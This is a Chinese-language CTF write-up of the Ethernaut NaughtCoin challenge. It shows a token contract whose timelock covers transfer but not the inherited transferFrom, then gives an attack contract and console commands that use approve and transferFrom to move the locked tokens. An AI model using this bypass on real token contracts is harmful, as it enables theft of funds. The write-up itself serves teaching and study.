ERC20继承合约漏洞

296 阅读1分钟

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import './ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
} 

分析:

离谱的事情又增加了,没想到漏洞居然是只重写了erc20的transfer方法没有重写transferfrom方法!!!

根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer一个transferFrom,题目中代码只重写了transfer函数,那未重写transferFrom就是一个可利用的点了。

跟进ERC20Lib.sol


library ERC20Lib {
    ...
    function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
        self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
        self.balances[_to] = self.balances[_to].plus(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
        var _allowance = self.allowed[_from](msg.sender);

        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    }
    ...
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

}

可以直接调用这个transferFrom即可了。但是transferFrom有一步权限验证,要验证这个msg.sender是否被_from(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权

攻击合约

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0; 

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol";

contract NaughtWithdraw {
  function withdrawFrom(address _tokenAddr, address _from, uint _amount) public {
    bool success = IERC20(_tokenAddr).transferFrom(_from, address(this), _amount);
    require(success, "failed!");
  }
}

方法二:

await contract.approve('0xD5759D7b133E742D8D1C3784666d409385756b80',await contract.balanceOf(player))
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
await contract.balanceOf(player)